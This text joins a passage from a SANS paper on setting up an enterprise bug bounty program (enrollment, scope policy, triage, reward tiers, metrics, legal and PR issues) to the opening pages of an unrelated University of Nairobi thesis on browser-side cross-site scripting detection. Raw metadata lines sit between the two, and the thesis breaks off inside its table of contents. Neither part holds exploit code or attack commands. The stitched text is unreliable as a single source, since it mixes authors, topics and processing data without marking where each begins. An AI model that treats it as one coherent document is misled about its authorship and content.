the following presentation slide. ![Table 5: Bug bounty service providers at a glance. From “Lessons learned from running big bug bounty programs” by Moussouris K. 2016.](image) ### 2.3. Application Enrollment Each application has a three-step enrollment process into the bug bounty program. After ensuring that the application has gone through the required traditional security assessments such as source code reviews and penetration testing, an application can be put in scope of a private bug bounty. Then, if the application does not show any adverse effect to the assessment traffic, it will be added to the scope of the public bug bounty. This process is described in Figure 6. ![Application Enrollment Phases](image) *Figure 6: Application enrollment steps.* Jason Pubal jpubal@mastersprogram.sans.edu • **Step 1: Traditional security assessments.** Review the results of code reviews and penetration testing to ensure the application has been internally tested and does not have any open critical or high findings. If there are any findings that have an acceptable business risk, add those as exceptions in the bug bounty policy as to not incentivize researchers to look for them and to make sure no one expects a reward for finding them. • **Step 2: Private Bug Bounty.** A private, invitation-only bounty will be stood up for the application. Invite only a select number of researchers with a high platform reputation score. Since these folks are more likely to follow the rules of our policy and we can adjust the number of invited researchers, the risks associated with a bug bounty program are reduced. The signal-to-noise ratio and overall report quality are also better using researchers with a high reputation score. While in the private bounty, any low hanging fruit should be discovered and addressed. The private bounty also helps the information security team better gauge the responsiveness of the application owner and developers. • **Step 3: Public Bug Bounty.** If all goes well in a private bug bounty, the application will be added to the scope of the public bug bounty. This may result in a higher number of vulnerability reports, so both the information security and application teams need to be prepared to address them. Over a short period, that spike in reporting should normalize. ### 2.4. Vulnerability Disclosure & Bug Bounty Policy A Vulnerability Disclosure or Bug Bounty Policy is what a company posts, usually publicly on the Internet, to provide researchers the rules of engagement for the program. It sets the expectations for how both parties will behave throughout the process. The purpose of a bug bounty is to incentivize researchers to look for and report what we are interested in finding; so point researchers in the right direction by outlining the policy, scope, rules, areas of focus, and exclusions. For pertinent examples, see: Jason Pubal jpubal@mastersprogram.sans.edu • https://hackerone.com/uber • https://hackerone.com/twitter 2.4.1. Program Scope The bug bounty policy needs to tell researchers what to test. “The single most important thing that you can do to ensure a successful program is to define a clear scope, leaving nothing open to interpretation. A bounty’s scope informs the researchers what they can and cannot test, and points them to key targets” (Bugcrowd, 2016). It is also essential to explicitly call out what is not in scope. The most common example listed as out of scope are hosts that resolve to third-party services. Bug bounty platform vendors using a hacker reputation penalize researchers for making out-of-scope submissions, so it is vital to set correct expectations of what is not rewardable before testing begins. This helps prevent frustrating researchers by making sure they do not expect to get a reward for a vulnerability discovered on an otherwise in scope target. Let the researchers know what is important for them to test. Focus areas may include specific bug types, particular functionality, new features, or whatever needs special attention. For complex or unintuitive targets or functionality like APIs, consider providing documentation to explain how the application works so researchers can focus on testing rather than figuring out the application. Guide researchers in the right direction by accurately articulating any exclusions. Good examples of exclusions are vulnerabilities that can easily be found with automated scanners or DoS attacks that could cause impact to the application. Targets https://www.example.com https://developer.example.com https://api.example.com Out of scope https://blog.example.com Jason Pubal jpubal@mastersprogram.sans.edu Focus The company is launching software development kits this month that enables third-party developers to deploy faster merchant and peer-to-peer payments in the mobile apps they create. Developers can leverage prepackaged code that can read QR and NFC tags, extracting important merchant and user details in the payment process. Valid submissions in the SDK or API will be awarded double. Exclusions Do not conduct social engineering attacks against company employees, partners, or customers. Do not test the physical security of company offices. Do not perform any testing that could harm our services such as denial of service (DoS) attacks. 2.5. Bug Bounty Workflow Once an application has been added to the scope of the bug bounty program, researchers will start testing the application and submitting vulnerability reports. This workflow is how to triage the finding, communicate it to the application team, reward the researcher, and remediate the vulnerability. This process is visually represented in Figure 8. Figure 8: Bug bounty workflow. 2.5.1. Vulnerability Report A third-party researcher will interact with the bug bounty platform to submit a vulnerability report. That report would go into the queue, and the platform will send the researcher an acknowledgment. Vulnerability reports sitting in the issue queue await triage. 2.5.2. Triage The information security vulnerability management team works on the triage queue analyzing each report, assessing the application with the potential issue, and determining if the vulnerability is valid. If the vulnerability is either invalid, a duplicate, or previously known through another vulnerability detection process, the issue is closed in the queue. That closure could then kick off a notification to the researcher letting them know the finding is invalid. If the report was not detailed enough and needs additional information from the researcher, the platform will send them a notification. If the vulnerability report is determined to be a valid vulnerability, it would then get reported to the appropriate application team for remediation. 2.5.3. Bounty When it is determined that the researcher has submitted a valid vulnerability, they can be paid the appropriate amount for the criticality of the vulnerability through the bug bounty platform. Bounty payments typically happen either after the vulnerability is triaged and confirmed, or after it is fixed. More specifically, “About one out of every five will pay when the vulnerability is validated (18%), and half will pay when a vulnerability is resolved (48%), and the remainder pay on a case-by-case basis (34%)” (HackerOne, 2017, p. 12). In this workflow, the researcher is paid after the vulnerability is triaged and confirmed as valid. Paying researchers earlier in the workflow incentivizes them to continue looking for and submitting vulnerabilities. 2.5.4. Remediation The internal remediation process will be similar to the remediation process for any other application vulnerability. Due to the nature of an externally reported security issue, the risk and prioritization might be higher than similar vulnerability types for similar applications. The appropriate application or support team will develop and implement a fix for the vulnerability. After the fix is deployed, the vulnerability management team will retest the application to ensure it was remediated. If the vulnerability still exists, the vulnerability management team will continue to work with the application team. If it is remediated, the issue can be closed within the bug bounty platform, triggering notification to the third-party researcher and the recognition step. 2.5.5. Acknowledgement Companies can give the researcher public recognition that they successfully submitted a valid security vulnerability that was acknowledged and fixed. The bug bounty platform should first ensure that the third-party researcher accepts being publicly credited, as they may wish to remain anonymous. 2.6. Vulnerability Rewards The monetary incentive paid to researchers will depend on the severity of the vulnerability, the inherent risk of the application, and the maturity of the bug bounty program. The higher the severity of the vulnerability, the higher the payout will be within the severity tiers. For example, initially a program could pay out $100, $300, $900, and $1,500 for low, medium, high, and critical bugs respectively. Over time, the applications will be more secure and vulnerabilities harder to find. As time passes, bug submissions tend to drop and increasing the rewards keeps researchers’ interest high. If researchers must spend more time discovering vulnerabilities against a hardened application, the incentives have to be adjusted. For example, at the end of the first year of a program, one could pay out at a higher rate of $300, $900, $2,700, and $15,000 for low, medium, high, and critical bugs respectively. For a comparison with other programs, HackerOne states that “through May 2017, the average bounty for a critical issue paid to hackers on the HackerOne Platform was $1,923. For all vulnerabilities reported of any severity, the average bounty payout was $467” (2017, p. 15). See the chart below (Table 6) for examples of vulnerability types and bounty payouts. <table> <thead> <tr> <th>Severity</th> <th>Impact</th> <th>Example Vulnerability Types</th> <th>Security Program &amp; Vulnerability Disclosure Maturity</th> </tr> </thead> <tbody> <tr> <td></td> <td></td> <td></td> <td>Initial</td> </tr> <tr> <td>Critical</td> <td>Vulnerabilities that cause a privilege escalation from unprivileged to admin or allow for remote execution, financial theft, etc.</td> <td>Remote Code Execution</td> <td>$1,500</td> </tr> <tr> <td></td> <td></td> <td>Vertical Authentication Bypass</td> <td>SQL Injection with significant impact</td> </tr> <tr> <td></td> <td></td> <td>XML External Entities Injection with significant impact</td> <td></td> </tr> <tr> <td>High</td> <td>Vulnerabilities that affect the security of the platform</td> <td>Lateral authentication bypass</td> <td>$900</td> </tr> <tr> <td></td> <td></td> <td>Stored XSS with significant impact</td> <td>CSRF with significant impact</td> </tr> <tr> <td></td> <td></td> <td>Direct object reference with significant impact</td> <td>Internal SSRF</td> </tr> <tr> <td>Medium</td> <td>Vulnerabilities that affect multiple users and require little or no user interaction to trigger</td> <td>Reflective XSS with impact</td> <td>$300</td> </tr> <tr> <td></td> <td></td> <td>Direct object reference</td> <td>URL redirect</td> </tr> <tr> <td></td> <td></td> <td>CSRF with impact</td> <td></td> </tr> <tr> <td>Low</td> <td>Vulnerabilities that affect singular users and require interaction or significant prerequisites to trigger (MIM)</td> <td>SSL misconfiguration with little impact</td> <td>$100</td> </tr> <tr> <td></td> <td></td> <td>SPF configuration problems</td> <td>XSS with limited impact</td> </tr> <tr> <td></td> <td></td> <td>CSRF with limited impact</td> <td></td> </tr> <tr> <td>Acceptable</td> <td>Non-exploitable vulnerabilities in functionality. Vulnerabilities that are by design or are deemed acceptable business risk to the customer</td> <td>Debug information</td> <td>$0</td> </tr> <tr> <td></td> <td></td> <td>Use of CAPTCHAs</td> <td>Code obfuscation</td> </tr> <tr> <td></td> <td></td> <td>Rate Limiting, etc.</td> <td></td> </tr> </tbody> </table> Table 6: Vulnerability rewards. Jason Pubal jpubal@mastersprogram.sans.edu 2.7. Metrics These metrics and key performance indicators can be used to help manage a bug bounty program. 2.7.1. Security Testing Coverage Security testing coverage tracks the percentage of applications in the organization that have been subjected to security testing. That is, out of all the web applications the organization uses, how many of them are enrolled in the bug bounty program? This is expressed as a percentage. \[ STC = \frac{\text{count (of enrolled applications)}}{\text{count (deployed applications)}} \times 100 \] 2.7.2. Mean-Time to Mitigate Vulnerabilities Mean-time to mitigate vulnerabilities measures the average amount of time required to remediate an identified vulnerability. This is a measure of the organization’s or development team’s performance. It also captures how long, on average, the window is in which a vulnerability can be exploited. This is expressed in a number of days. \[ MTTMV = \sum \frac{\text{(Date of Mitigation} - \text{Date of Detection})}{\text{Count (Mitigated Vulnerabilities)}} \] 2.7.3. Signal and Noise Signal and noise are measures of vulnerability report quality. Signal is the percent of valid reports received. Noise is the percent of invalid reports received. Both are expressed as a percentage. \[ Signal = \frac{\text{Number of Valid Reports}}{\text{Total Number of Reports}} \times 100 \] \[ Noise = \frac{\text{Number of Invalid Reports}}{\text{Total Number of Reports}} \times 100 \] Signal and noise are generally presented as a ratio. The signal-to-noise ratio is presented as the reduced ratio of Signal over Noise. \[ \text{Signal} \text{ to Noise Ratio} = \frac{\text{Signal}}{\text{Noise}} \] ### 2.7.4. Vulnerability Reports Received The number of vulnerability reports received is an indication of researcher interest in the program. Report submissions can be trended over time as shown in Figure 10. This will show spikes when a new program is launched, the scope of an existing program is changed, or research of a new attack goes public. When interest in the program is low for an extended period, this could indicate an opportunity to raise the reward incentives. ![Submissions over time](image) *Figure 9: Vulnerability report counts over time. From “The State of Bug Bounty” 2016.* ### 2.7.5. Top 10 Vulnerabilities OWASP maintains a list of top ten vulnerabilities to raise awareness about application security. While this could be a starting point for application security training, it would be more helpful to know what an organization’s specific pain points are. With this, the security team can create custom training modules based on what the organization’s development teams have trouble coding. This can be visually represented Jason Pubal jpubal@mastersprogram.sans.edu with a pie chart to easily see how much of an issue the vulnerability is compared to others, as seen in Figure 10. ![Pie Chart](image) Figure 10: Top 10 vulnerabilities. 2.7.6. Vulnerabilities per Application Vulnerabilities per application is a count of the number of vulnerabilities found in a specific application. This is expressed as a cardinal number. This can be visually represented with a bar chart to easily see how different applications compare against each other. Below is a Top 10 Vulnerable Applications chart. Having a top ten vulnerable applications list helps to focus remediation efforts. It points security to the development teams responsible for these applications targeting them with the training developed from the top ten vulnerabilities list. Keeping track of changes in the top 10 is also useful. If an application drops in rank, the application team is likely doing a good job fixing issues. If an application goes up on the list, reprioritize and act accordingly. If a new application shows up on the list, it may be an application that is being tested for the first time and presents a high risk to the organization. Report the vulnerabilities to the appropriate team and start working with them on remediation. **2.7.7. Defect Counts per Risk Rating** Another important metric is a defect count by risk rating. This can be represented as a point in time with a bar chart and trended over time with a line graph as in Figure 12. One could look at the trending of these defect counts along with the total number of applications being assessed to see how the trend is related to the amount of applications enrolled in the program. With this, it is easy to see how much risk exists in the environment and to get a sense for the effectiveness of the program. 2.7.8. Vulnerability Coordination Maturity Model The Vulnerability Coordination Maturity Model, created by Moussouris, rates five capability areas as basic, advanced, or expert (2015). These capabilities are Organizational, Engineering, Communications, Analytics, and Incentives, as further detailed below. - **Organizational**: At a basic level, an organization has decided to receive and respond to vulnerability reports and has executive support. At an advanced level, there is a policy and process that follow some framework or best practices. At an expert level, there is dedicated budget and personnel. - **Engineering**: At a basic level, engineering has a way to receive vulnerability reports and a way to track them internally. At an advanced level, there is a dedicated bug tracking software, such as JIRA, along with documented risk-based decisions around exceptions to fixing vulnerabilities. At an expert level, there is root cause analysis and a feedback loop to the development lifecycle to eliminate classes of vulnerabilities. - **Communications**: At a basic level, there is an ability to receive vulnerability reports, along with a way to communicate those vulnerabilities to stakeholders. At an advanced level, there are repeatable and custom communications for a broad range of stakeholders like customers and media. At an expert level, that information can be shared in a structured and automated fashion. - **Analytics**: At a basic level, the number of severity of findings are tracked over time. At an advanced level, that tracking leads to root cause analysis with a feedback loop to development. At an expert level, an organization also uses data about threats to prioritize remediation and detect attacks against known vulnerabilities. - **Incentives**: At a basic level, a vulnerability disclosure policy states that no legal action will be taken for submitting vulnerability reports and that recognition can be given to researchers. At an advanced level, financial incentives are given for reporting vulnerabilities. At an expert level, a company has knowledge about vulnerability markets where applicable bugs are being traded and tailors financial rewards to disrupt them. ![Sample spider graph](image) *Figure 13: Sample spider graph. From “Vulnerability Coordination Maturity Model.” By Moussouris K. 2015.* It is recommended to rate a company along the maturity model, have an idea of what maturity level the organization wants to get achieve, and conduct a gap analysis of what it will take to get there. ### 2.8. Additional Stakeholder Considerations: Legal & PR Bug bounty programs are public facing. Two important but often forgotten stakeholders are legal and public relations. Bug bounty programs can be the first time information security or engineering personnel are dealing directly with external entities. Note that everything shared through the program is done so on behalf of the company. 2.8.1. Legal Companies that implement a bug bounty program should ensure the involvement of a legal team. Legal concerns that tend to come up are liability if a bug bounty researcher exploits an application coming into contact with sensitive information such as customer’s personally identifying information (PII), a researcher publically disclosing a vulnerability before it is fixed, Know Your Customer (KYC) anti-money laundering laws, and researchers who might be in locations where the US has active sanctions. According to Denaro, a lawyer in DC, “the legal exposure an organization has from using the crowd is basically the same as using any other means of pentesting that you would traditionally buy” (2016). He goes on to say the bug bounty policy is a legal contract with researchers and can provide the same protection as a contract in place with a more traditional penetration tester. Using a bug bounty platform vendor to manage and pay researchers covers some of the other concerns involving paying researchers bounties, effectively transferring the risk to them. Include the legal team, and have them review the bug bounty policy along with any bug bounty platform vendor’s terms and conditions. 2.8.2. Public Relations Another important stakeholder that is often ignored is the public relations (PR) or marketing teams. Doing a Google News web search for “bug bounty” will show articles about various companies launching their own bug bounty programs. One of the benefits of a public bug bounty program is the positive marketing of a company’s security program, which can be amplified with a coordinated PR statement. Since bug bounty programs are externally facing, it is recommended to include the PR and corporate communications teams to ensure they have input on the verbiage and branding being used. Even if a company is running a private bug bounty program, with the proliferation of information security news outlets and blogs, chances are some news will go public about the program. It is a good idea to have a statement ready for when that happens. Jason Pubal jpubal@mastersprogram.sans.edu 3. Conclusion Bug bounty programs are increasingly being embraced from startups to financial institutions and even high-security environments like the US Pentagon (Larson, 2017). These crowdsourced security assessments have a lot of benefits and are worth considering, especially in applications with quick development and release cycles or companies without dedicated application security personnel on staff. I started a bug bounty program at a fortune 500 global financial company. This paper outlines the research used to justify and prepare for the program, the project steps to compare vendors and get things started, along with workflow and processes currently being utilized. Take the lessons learned from this project to stand up a time-bound, private bug bounty of your own and see if this type of security assessment is a fit for your organization. As a parting thought, if you do embark on this journey remember to have empathy and patience. The people testing your applications and submitting bugs will have a range of security skills, English literacy, education, and professionalism. Each report represents an amount of time that someone spent testing your application, documenting the results, and submitting them to you with no guarantee of receiving anything in return. The more you foster the relationship with the community, the more value you will get out of the program. 4. References Jason Pubal jpubal@mastersprogram.sans.edu Jason Pubal jpubal@mastersprogram.sans.edu Jason Pubal jpubal@mastersprogram.sans.edu # Upcoming SANS App Sec Training <table> <thead> <tr> <th>Course</th> <th>Location</th> <th>Dates</th> <th>Delivery</th> </tr> </thead> <tbody> <tr> <td>Univ. of California - Davis - DEV522: Defending Web Applications Security Essentials</td> <td>Online Only, CA</td> <td>May 11, 2020 - May 16, 2020</td> <td>vLive</td> </tr> <tr> <td>SANS Network Security 2020</td> <td>Las Vegas, NV</td> <td>Sep 20, 2020 - Sep 27, 2020</td> <td>Live Event</td> </tr> <tr> <td>SANS OnDemand</td> <td>Online</td> <td>Anytime</td> <td>Self Paced</td> </tr> <tr> <td>SANS SelfStudy</td> <td>Books &amp; MP3s Only</td> <td>Anytime</td> <td>Self Paced</td> </tr> </tbody> </table>
{"Source-Url": "https://software-security.sans.org/resources/paper/reading-room/bug-bounty-programs-enterprise-implementation", "len_cl100k_base": 12638, "olmocr-version": "0.1.53", "pdf-total-pages": 38, "total-fallback-pages": 0, "total-input-tokens": 90217, "total-output-tokens": 14631, "length": "2e13", "weborganizer": {"__label__adult": 0.0004656314849853515, "__label__art_design": 0.0006422996520996094, "__label__crime_law": 0.0023365020751953125, "__label__education_jobs": 0.00513458251953125, "__label__entertainment": 0.00014317035675048828, "__label__fashion_beauty": 0.00026297569274902344, "__label__finance_business": 0.00218963623046875, "__label__food_dining": 0.00032711029052734375, "__label__games": 0.0009813308715820312, "__label__hardware": 0.00130462646484375, "__label__health": 0.00057220458984375, "__label__history": 0.0002701282501220703, "__label__home_hobbies": 0.00017905235290527344, "__label__industrial": 0.0005745887756347656, "__label__literature": 0.0003285408020019531, "__label__politics": 0.0004045963287353515, "__label__religion": 0.0003314018249511719, "__label__science_tech": 0.050750732421875, "__label__social_life": 0.00019121170043945312, "__label__software": 0.03411865234375, "__label__software_dev": 0.8974609375, "__label__sports_fitness": 0.00026607513427734375, "__label__transportation": 0.0004391670227050781, "__label__travel": 0.00021159648895263672}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 65004, 0.02431]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 65004, 0.15325]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 65004, 0.91974]], "google_gemma-3-12b-it_contains_pii": [[0, 438, false], [438, 1602, null], [1602, 3946, null], [3946, 6121, null], [6121, 8518, null], [8518, 10809, null], [10809, 12096, null], [12096, 14531, null], [14531, 17049, null], [17049, 19654, null], [19654, 21458, null], [21458, 23002, null], [23002, 25116, null], [25116, 26508, null], [26508, 28804, null], [28804, 30904, null], [30904, 32465, null], [32465, 33832, null], [33832, 37552, null], [37552, 38624, null], [38624, 40745, null], [40745, 42489, null], [42489, 43512, null], [43512, 44606, null], [44606, 46783, null], [46783, 50010, null], [50010, 51375, null], [51375, 52791, null], [52791, 53321, null], [53321, 54583, null], [54583, 55904, null], [55904, 57354, null], [57354, 59654, null], [59654, 61049, null], [61049, 62377, null], [62377, 63898, null], [63898, 64313, null], [64313, 65004, null]], "google_gemma-3-12b-it_is_public_document": [[0, 438, false], [438, 1602, null], [1602, 3946, null], [3946, 6121, null], [6121, 8518, null], [8518, 10809, null], [10809, 12096, null], [12096, 14531, null], [14531, 17049, null], [17049, 19654, null], [19654, 21458, null], [21458, 23002, null], [23002, 25116, null], [25116, 26508, null], [26508, 28804, null], [28804, 30904, null], [30904, 32465, null], [32465, 33832, null], [33832, 37552, null], [37552, 38624, null], [38624, 40745, null], [40745, 42489, null], [42489, 43512, null], [43512, 44606, null], [44606, 46783, null], [46783, 50010, null], [50010, 51375, null], [51375, 52791, null], [52791, 53321, null], [53321, 54583, null], [54583, 55904, null], [55904, 57354, null], [57354, 59654, null], [59654, 61049, null], [61049, 62377, null], [62377, 63898, null], [63898, 64313, null], [64313, 65004, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 65004, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 65004, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 65004, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 65004, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 65004, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 65004, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 65004, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 65004, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 65004, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 65004, null]], "pdf_page_numbers": [[0, 438, 1], [438, 1602, 2], [1602, 3946, 3], [3946, 6121, 4], [6121, 8518, 5], [8518, 10809, 6], [10809, 12096, 7], [12096, 14531, 8], [14531, 17049, 9], [17049, 19654, 10], [19654, 21458, 11], [21458, 23002, 12], [23002, 25116, 13], [25116, 26508, 14], [26508, 28804, 15], [28804, 30904, 16], [30904, 32465, 17], [32465, 33832, 18], [33832, 37552, 19], [37552, 38624, 20], [38624, 40745, 21], [40745, 42489, 22], [42489, 43512, 23], [43512, 44606, 24], [44606, 46783, 25], [46783, 50010, 26], [50010, 51375, 27], [51375, 52791, 28], [52791, 53321, 29], [53321, 54583, 30], [54583, 55904, 31], [55904, 57354, 32], [57354, 59654, 33], [59654, 61049, 34], [61049, 62377, 35], [62377, 63898, 36], [63898, 64313, 37], [64313, 65004, 38]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 65004, 0.18987]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
31be878db3fdebd25ff19ad5d97decae501f6b40
[REMOVED]
{"len_cl100k_base": 9257, "olmocr-version": "0.1.50", "pdf-total-pages": 20, "total-fallback-pages": 0, "total-input-tokens": 44384, "total-output-tokens": 9902, "length": "2e13", "weborganizer": {"__label__adult": 0.00025844573974609375, "__label__art_design": 0.0002644062042236328, "__label__crime_law": 0.00025463104248046875, "__label__education_jobs": 0.0003917217254638672, "__label__entertainment": 8.606910705566406e-05, "__label__fashion_beauty": 0.00010883808135986328, "__label__finance_business": 0.0005855560302734375, "__label__food_dining": 0.0002579689025878906, "__label__games": 0.0004863739013671875, "__label__hardware": 0.0020275115966796875, "__label__health": 0.0002789497375488281, "__label__history": 0.00018453598022460935, "__label__home_hobbies": 6.014108657836914e-05, "__label__industrial": 0.0004551410675048828, "__label__literature": 0.00017786026000976562, "__label__politics": 0.00016498565673828125, "__label__religion": 0.00029730796813964844, "__label__science_tech": 0.057647705078125, "__label__social_life": 6.514787673950195e-05, "__label__software": 0.0404052734375, "__label__software_dev": 0.89453125, "__label__sports_fitness": 0.00019693374633789065, "__label__transportation": 0.0004062652587890625, "__label__travel": 0.0001722574234008789}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 37344, 0.05447]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 37344, 0.30514]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 37344, 0.91171]], "google_gemma-3-12b-it_contains_pii": [[0, 1921, false], [1921, 3690, null], [3690, 4374, null], [4374, 6724, null], [6724, 7975, null], [7975, 10144, null], [10144, 11820, null], [11820, 12691, null], [12691, 15273, null], [15273, 16679, null], [16679, 17809, null], [17809, 21755, null], [21755, 23060, null], [23060, 26037, null], [26037, 26760, null], [26760, 28047, null], [28047, 30545, null], [30545, 33430, null], [33430, 36304, null], [36304, 37344, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1921, true], [1921, 3690, null], [3690, 4374, null], [4374, 6724, null], [6724, 7975, null], [7975, 10144, null], [10144, 11820, null], [11820, 12691, null], [12691, 15273, null], [15273, 16679, null], [16679, 17809, null], [17809, 21755, null], [21755, 23060, null], [23060, 26037, null], [26037, 26760, null], [26760, 28047, null], [28047, 30545, null], [30545, 33430, null], [33430, 36304, null], [36304, 37344, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 37344, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 37344, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 37344, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 37344, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 37344, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 37344, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 37344, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 37344, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 37344, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 37344, null]], "pdf_page_numbers": [[0, 1921, 1], [1921, 3690, 2], [3690, 4374, 3], [4374, 6724, 4], [6724, 7975, 5], [7975, 10144, 6], [10144, 11820, 7], [11820, 12691, 8], [12691, 15273, 9], [15273, 16679, 10], [16679, 17809, 11], [17809, 21755, 12], [21755, 23060, 13], [23060, 26037, 14], [26037, 26760, 15], [26760, 28047, 16], [28047, 30545, 17], [30545, 33430, 18], [33430, 36304, 19], [36304, 37344, 20]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 37344, 0.19048]]}
olmocr_science_pdfs
2024-11-27
2024-11-27
964f510c83455026f83b40eb7f891e549c2147e0
UNIVERSITY OF NAIROBI COLLEGE OF BIOLOGICAL AND PHYSICAL SCIENCES SCHOOL OF COMPUTING & INFORMATICS SECURITY OF WEB APPLICATIONS FROM CROSS SITE SCRIPTING ATTACKS ON BROWSER SIDE ROTAH RICKY OMONDI P53/79064/2015 SUPERVISOR Dr. ROBERT OBOKO NOVEMBER 2017 Submitted in partial fulfillment of the requirements of the Master of Science in Distributed Computing Technology Declaration Student I hereby declare that this project is my own original work and has, to the best of my knowledge, not been submitted to any other institution of higher learning. Signature: ................................................ Date: ............................................ Rotah Ricky Omondi P53/79064/2015 Supervisor This project has been submitted as a partial fulfillment of requirements for the degree of Master of Science in Distributed Computing Technology with my approval as the University supervisor. Signature: ................................................ Date: ............................................ Dr. Robert Oboko School of Computing and Informatics University of Nairobi Acknowledgement I first thank the Almighty God for these far have reached in this project; I would like to appreciate my supervisor, the lecturers and fellow students for their continual support they accorded me in this journey. I would have not reached this far if I didn’t have the support of my Wonderful wife Nelly and my lovely daughter Brianna and son Bravyn. I thank you my family My great parents Mr and Mrs Joseph A. Rota I thank you for support and great sacrifices to educate me. My colleagues, thank you for always according me assistance in times when I needed them. God bless you Abstract Cross-Site Scripting has been known to be the most common and serious attack against web based services. Confidentiality of browsers has been compromised in many ways since they support the execution of embedded scripts. With this capability of sites to be attacked, the attackers have the capacity to take control of the sites through cross site scripting attacks. How to combat and prevent the attacks has to be looked at seriously. With this in mind I have come up with a tool to detect and deter these attacks. I elaborate how well overly we can solve the problem with a tool that deals with the cross-site scripting attacks. The network has developed from static sites to dynamic sites and the social media from Facebook, twitter, whatsapp, e.t.c are the leading online interaction sites. The participants in these networks use these malicious injected script codes without knowing. The current browsers are so limited in detecting the attacks and hence tools need to be developed to deal with this problem on the browser side. The tool is developed using python and java to deal with the attacks. In this work have come up with a tool that is secure, light in weight and fast in detecting malicious codes that appear within the script. The project is specific to look at the gap, build and test the components of the tool and evaluate the tool’s performance, reliability and accuracy as compared with other tools. These project tries to answer most of the asked questions such as, is it possible to stop XSS attacks in a more secure and easy way, what do the current tools offer, what are the shortfalls of these tools and previous researches and can we develop a secure and light tool that can be incorporated within the web service scripts to reduce overhead load associated with current tools? The project covers the area of XSS related attacks more so on the client side of the browsers, malicious attacks and input area. In this project the research design method used is Design science. Design science is an outcome based information technology research methodology, which offers specific guidelines for evaluation and iteration within research projects. With the project intent in having a functional algorithm and an artifact, this design method best suits this project. The XSS tool will be based on other tools that have crawling, attack and analysis component: The crawling component looks for pages within the web application. It acts as the scanner and if its poor then it will miss major vulnerability. This component is the most crucial part since it must get all the pages within the web application. The attack component scans and extracts all linksthat are within the web application and then all the page forms which have the URL parameters and injects some patterns of attack. The patterns have parameters that can be either part of the HTTP POST request or URL query string. The two are not hard to exploit and can be so easily attacked. The analysis component determines the servers response and uses attack-specific keywords and pattern to determine how successful this was. An attack vector consists of a JavaScript code that is encoded into a algorithm and is reflected on the embedded HTTP response.. The sampling process involves the acquisition of known and reported attacks from the websites that have archives of these attacks. The sampling involved using of random data reported year by year. This is because the attacks evolve over period and hence this random collection achieved the best procedure. The results indicated over 85% accuracy in detection. This was quite impressive since the tool is more client side oriented and these attacks originate from different areas with diverse attack patterns. In conclusion the project has a strong ground for developing a tool that is based on the client side and can actually detect the attacks on the client system. This relieves the overload from the servers and allows the developers time to focus on the development of the systems and leave the security to the clients. The recommendation on the future development tools that affectively detect and deter XSS attacks should consider the overload associated with having the tools on the server side as opposed to client side. The XSS tool developed in this work is over 85% effective, from the test done, and future researchers can and should use this as a base to implement more effective tools. Table of Contents **Acknowledgement** ............................................................................................................................... 3 **Abstract** ............................................................................................................................................... 4 **CHAPTER ONE: INTRODUCTION** ............................................................................................ 10 1.1 Introduction ........................................................................................................................................ 10 1.2 Problem Statement ............................................................................................................................... 12 1.3 Objectives ........................................................................................................................................... 13 1.3.1 Main objective: ............................................................................................................................... 13 1.3.2 Specific objective ............................................................................................................................. 13 1.4 Research Question ............................................................................................................................... 14 1.4 Scope and limitations ........................................................................................................................... 15 1.4.1 Scope of the project ......................................................................................................................... 15 1.4.2 Limitation ....................................................................................................................................... 15 **CHAPTER TWO: LITERATURE REVIEW** ................................................................................ 16 2.1 Introduction ....................................................................................................................................... 16 2.2 Background ...................................................................................................................................... 16 2.3 Cross site scripting examples .......................................................................................................... 20 2.4 Related tools ..................................................................................................................................... 21 2.5 Protection of the perimeter wall .................................................................................................... 21 2.6 Exploitation of a cross-site scripting vulnerability .......................................................................... 22 2.7 Why cross-site scripting attacks should be avoided ....................................................................... 23 2.8 Review summary ............................................................................................................................... 23 2.9 Conceptual Design ............................................................................................................................. 24 **CHAPTER THREE: METHODOLOGY** ...................................................................................... 26 3.1 Overview ....................................................................................................................................... 26 3.2 Research Design ............................................................................................................................... 26 3.3 Design Science Guidelines ............................................................................................................. 27 3.3.1 Design Artifact ............................................................................................................................... 27 3.3.2 Problem Relevance ......................................................................................................................... 29 3.3.3 Design 